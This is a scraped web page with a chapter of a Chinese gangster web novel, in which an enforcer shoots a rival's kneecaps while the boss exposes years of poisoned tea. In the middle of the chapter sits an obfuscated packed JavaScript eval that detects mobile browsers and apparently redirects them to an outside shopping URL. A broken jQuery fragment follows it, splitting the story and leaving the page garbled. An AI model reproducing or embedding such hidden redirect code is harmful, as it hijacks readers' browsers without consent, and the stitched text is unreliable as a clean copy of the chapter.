第75章 你要杀我?

作品:《我就是一痞子

    赵老四往前走了一步。


    “老二啊,”他说,“你从我这儿带走的东西,该还了。”


    周老二脚步虚了虚,像被人抽掉了脊梁骨。


    他看着赵老四那张脸,那张他看了十几年却从没正眼瞧过的脸,再看看满地的尸体。


    “你要……杀我?”


    他开口,声音发干。


    赵老四把核桃在手里转了转,歪着头看他,像看一只钻进笼子还不自知的耗子。


    “拿了我的东西,不杀,留着过年?”


    周老二踉跄着站稳了,膝盖一软,又撑住。


    他还年轻,还有大业未完成,不能死。


    他像是忽然想起了什么,脸上那层绝望底下,竟又浮出一点光。


    他开口:“四爷,你就不怕……”


    话没说完整,“砰!”的一声。


    是金刚。


    他的枪口抬了抬,周老二左膝盖炸开一朵血花。


    他整个人往下一栽,跪在地上,膝盖骨碎了的声音被**盖住,但那种塌下去的感觉,他自己最清楚。


    他没喊。


    嘴唇咬得发白,喉咙里滚出几声“呜呜!”,硬是把惨叫声咽回去了。


    血从裤腿里往外冒,很快浸湿了整条小腿,在地上淌成一滩。


    他抬起头,盯着赵老四,眼神像要把人活吃了。


    赵老四把核桃转了半圈,没看他。


    “怕什么?”


    周老二咬着牙,双手撑地,一点一点往上撑,腿吃不住力,刚起到一半又跪下去。


    他又撑。


    这回站住了。


    两条腿都在抖,像两根快断的柴火,但他站住了。


    “四爷,”他开口,声音发飘,一字一字往外挤,“你就不怕……”


    “砰!”


    这回是右膝盖。


    周老二应声整个人往前一扑,重重砸在地上,趴在那儿喘,血从两个膝盖内同时往外涌,地上很快就红了一大片。


    金刚低头看了看枪口,吹了口气,像吹烟灰。


    “二爷,”他说,“我记得帮里奉茶时,您可是双膝跪地给四爷敬,这会单膝跪着不好看,传出去,兄弟们还以为您有二心。”


    他顿了顿,像是给自己找了个挺不错的理由。


    “再说了,您这腿老想站起来,我看着都累,辛苦您一下,趴好咯。”


    周老二趴在地上,额头抵着地,鼻孔、嘴唇渗出点血渍,脊背一起一伏。


    不是哭,是疼的。


    但他愣是没出声。


    汗珠子一颗一颗从他脸上滑下来,砸在水泥地上,和血混在一起。


    他又用手肘撑起来了。


    还盯着赵老四。


    赵老四往前迈了一步,皮鞋踩在他面前的地上。


    他低头看着周老二,像看一件用了十五年,终于该换的旧家具。


    “老二,你刚想说什么?我怕什么?”他开口。


    周老二张了张嘴。


    血从嘴角溢出来,他舔了一下,腥。


    金刚在旁边慢慢举起枪,枪口对准周老二的左手。


    没命令。


    没手势。


    就那么等着。


    仿佛只要周老二嘴里再蹦出半个有威胁的字,**就会踩着点射过来。


    赵老四没阻止金刚。


    静静的看着周老二,等那个答案。


    周老二喉咙里滚出几声笑,笑得浑身抖,笑得膝盖的血往外冒得更凶。


    “四爷,”他声音断断续续,“我……我跟了你多少年……”


    赵老四掐掐手指。


    “快十五年了。”


    “十五年……”周老二重复了一遍,又笑了一声,接着往后一仰,躺在地上,“十五年,杀了我,你差不多也该命绝了吧?”


    “命绝?”


    赵老四像是听见什么笑话,又像是看穿对方小伎俩。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17285049|197368||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    他蹲在周老二面前,两个人离得很近,近到能看清彼此眼里的血丝,能闻到彼此呼吸里的味道。


    “你以为我不知道?”他把声音压得很低,低到只有两个人能听见,“你往我茶里下的那东西,我喝了十五年,就没尝出来?”


    周老二的脸,彻底白了。


    从奉茶的那一天,他就没瞧得上赵老四,如果不是那会赵老四手上有几个人,他也不会屈尊,在他心里赵老四这样无勇无谋的人,不配喝那碗茶。


    也是从那天起,他告诉自己这是雄鹰展翅前的隐忍,将来必将取而代之。


    为此每次帮里举行仪式需要奉茶时,他都安排人在碗里下药,本以为神不知鬼不觉。


    哪知……


    赵老四站起来,拍了拍膝盖上并不存在的灰。


    “金刚,”他说,“把二爷扶起来,他不该躺地上。”


    金刚上前,一把揪住周老二的衣领,把他从地上拎起来。


    两条腿都废了,全靠金刚提着,悬在半空晃荡。


    赵老四斜视金刚一眼。


    那眼神里说不上责怪,倒有点像长辈看着自家孩子话说得太直,又不好当众驳回去的意思。


    “你也是,”他轻声说,语气平常得像是说今儿天不错,“老二话还没说完呢,你就打成这样,没规矩。”


    金刚低下头,像认错。


    赵老四又将目光转回周老二。


    周老二被金刚提着,两条断腿垂着,血还在往下滴,脸色白得吓人,但眼睛还睁着,藏着的不是求饶。


    “老二,”赵老四说,“你有什么遗言要交代的?”


    他顿了顿。


    “哥哥我定当全力以赴,不过,你得赶紧说,我怕你血干了,带着遗憾下去。”


    周老二喉咙里滚出一声笑,不知道是哭还是笑。


    “四爷,十五年的交情,能让我死个痛快吗?”